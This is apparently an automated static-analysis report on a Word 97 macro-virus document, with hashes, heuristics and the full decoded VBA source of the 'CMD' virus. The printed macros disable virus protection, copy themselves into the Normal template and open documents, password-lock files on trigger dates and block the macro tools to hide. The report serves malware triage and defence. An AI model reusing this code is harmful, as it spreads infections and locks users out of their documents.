Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0233ff004a90c6e…

MALICIOUS

Office (OLE)

53.5 KB Created: 1997-05-07 01:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 58765fe47c1a13c589b8472f5ac80a91 SHA-1: 16cb1665a128fd8d34ee470ce8cd4c5e777f5cab SHA-256: c0233ff004a90c6eb7b308fc86be8268b2b34e419a41d05f9c344bab4cabd46a
416 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1037.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close functions, indicating a macro-based attack. The heuristics suggest the document attempts to lure the user into executing commands via the clipboard. The VBA script attempts to copy the 'CMD' macro component to the NormalTemplate, which is a common persistence mechanism. ClamAV detections further confirm its malicious nature.

Heuristics 10

  • ClamAV: Doc.Trojan.Beauty-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Beauty-1
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    This finding applies to a carved embedded Office document found at a nonzero offset inside the submitted file, not directly to the top-level document. OLE file is 18,865 bytes but its declared streams total only 0 bytes — 18,865 bytes (100%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    This finding applies to a carved embedded Office document found at a nonzero offset inside the submitted file, not directly to the top-level document. The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6202 bytes
SHA-256: c71201a1fdad7a1a286a11737af4847f1f201d0e3d24e9753fe2a731513145e8
Detection
ClamAV: Doc.Trojan.Cmd-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "CMD"
Sub AutoOpen()
On Error GoTo CMD

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DocInstalled = False
    GlobalInstalled = False

   For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "CMD" Then
            GlobalInstalled = True
        End If
   Next

   If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="CMD", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
   End If

   For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "CMD" Then
            DocInstalled = True
        End If
   Next

   If DocInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="CMD", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
   End If
   
   If Month(Now()) = 12 And Day(Now()) = 21 Then
     MsgBox "I LOVE CHRISTY", vbOKOnly, "Christy"
     Set Pass = ActiveDocument
     Pass.Password = "CMD"
   End If
   
   If Month(Now()) = 10 And Day(Now()) = 16 Then
     MsgBox "CMD (C) DarkChasm", vbOKOnly, "Coded By: DarkChasm"
     Set Pass = ActiveDocument
     Pass.Password = "CMD"
   End If
   
   Application.DisplayAlerts = wdAlertsAll

CMD:
End Sub

Sub AutoClose()
On Error GoTo CMD

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DoctInstalled = False
    GlobalInstalled = False

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "CMD" Then
            GlobalInstalled = True
        End If
    Next
    
    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="CMD", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "CMD" Then
            DocInstalled = True
        End If
    Next

    If DocInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="CMD", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If Month(Now()) = 12 And Day(Now()) = 21 Then
      MsgBox "I LOVE CHRISTY", vbOKOnly, "Christy"
      Set Pass = ActiveDocument
      Pass.Password = "CMD"
    End If

    If Month(Now()) = 10 And Day(Now()) = 16 Then
      MsgBox "CMD (C) DarkChasm", vbOKOnly, "Coded By: DarkChasm"
      Set Pass = ActiveDocument
      Pass.Password = "CMD"
    End If

    Application.DisplayAlerts = wdAlertsAll

CMD:
End Sub

Sub FileSaveAs()

    Dialogs(wdDialogFileSaveAs).Show

On Error GoTo CMD

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DocInstalled = False
    GlobalInstalled = False

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "CMD" Then
            GlobalInstalled = True
        End If
    Next
    
    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="CMD", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "CMD" Then
            DocInstalled = True
        End If
    Next

    If DocInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="CMD", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

   If Month(Now()) = 12 And Day(Now()) = 21 Then
     MsgBox "I LOVE CHRISTY", vbOKOnly, "Christy"
     Set Pass = ActiveDocument
     Pass.Password = "CMD"
   End If

   If Month(Now()) = 10 And Day(Now()) = 16 Then
     MsgBox "CMD (C) DarkChasm", vbOKOnly, "Coded By: DarkChasm"
     Set Pass = ActiveDocument
     Pass.Password = "CMD"
   End If

    Application.DisplayAlerts = wdAlertsAll

CMD:
End Sub

Sub ToolsMacro()
On Error GoTo CMD
With Assistant.NewBalloon
 .BalloonType = msoBalloonTypeBullets
 .Icon = msoIconTip
 .Heading = "Help"
 .Text = "You do not have permission to do this. Please refer to the instruction manual for further details."
 .Button = msoButtonSetOK
 .Show
End With

CMD:
End Sub

Sub FileTemplates()
  On Error GoTo CMD
With Assistant.NewBalloon
 .BalloonType = msoBalloonTypeBullets
 .Icon = msoIconTip
 .Heading = "Help"
 .Text = "You do not have permission to do this. Please refer to the instruction manual for further details."
 .Button = msoButtonSetOK
 .Show
End With

CMD:
End Sub

Sub ViewVBCode()
  MsgBox "This program has performed an illegal operation and will shut down.", vbCritical, "Microsoft Word"
End Sub
embedded_office_off00008c4f.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x8C4F 18865 bytes
SHA-256: b025a8851fe6f27c8d7fa8d7fb6668c08750c98b87ef5c265faf1327cc54d454